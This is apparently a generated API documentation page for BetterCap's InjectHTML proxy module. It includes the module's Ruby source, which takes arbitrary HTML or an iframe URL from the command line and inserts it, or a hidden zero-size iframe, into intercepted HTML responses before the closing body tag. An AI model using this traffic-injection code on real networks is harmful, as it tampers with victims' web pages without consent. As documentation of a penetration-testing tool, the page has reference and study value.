Class: InjectHTML

Inherits:
BetterCap::Proxy::HTTP::Module show all
Defined in:
lib/bettercap/proxy/http/modules/injecthtml.rb

Overview

This proxy module will take care of HTML code injection.

Constant Summary collapse

@@iframe =

URL of the iframe if –html-iframe-url was specified.

nil
@@data =

HTML data to be injected.

nil

Class Method Summary collapse

Instance Method Summary collapse

Methods inherited from BetterCap::Proxy::HTTP::Module

available, #enabled?, is_builtin?, load, modules, #on_pre_request, register_modules, register_options

Methods inherited from BetterCap::Pluggable

meta, metadata

Constructor Details

#initializeInjectHTML

Create an instance of this module and raise a BetterCap::Error if command line arguments weren’t correctly specified.

Raises:



46
47
48
# File 'lib/bettercap/proxy/http/modules/injecthtml.rb', line 46

def initialize
  raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
end

Class Method Details

.on_options(opts) ⇒ Object

Add custom command line arguments to the opts OptionParser instance.



30
31
32
33
34
35
36
37
38
39
40
41
42
# File 'lib/bettercap/proxy/http/modules/injecthtml.rb', line 30

def self.on_options(opts)
  opts.separator ""
  opts.separator "Inject HTML Proxy Module Options:"
  opts.separator ""

  opts.on( '--html-data STRING', 'HTML code to be injected.' ) do |v|
    @@data = v
  end

  opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
    @@iframe = v
  end
end

Instance Method Details

#on_request(request, response) ⇒ Object

Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP request and response.



52
53
54
55
56
57
58
59
60
61
62
63
# File 'lib/bettercap/proxy/http/modules/injecthtml.rb', line 52

def on_request( request, response )
  # is it a html page?
  if response.content_type =~ /^text\/html.*/
    BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"

    if @@data.nil?
      response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
    else
      response.body.sub!( '</body>', "#{@@data}</body>" )
    end
  end
end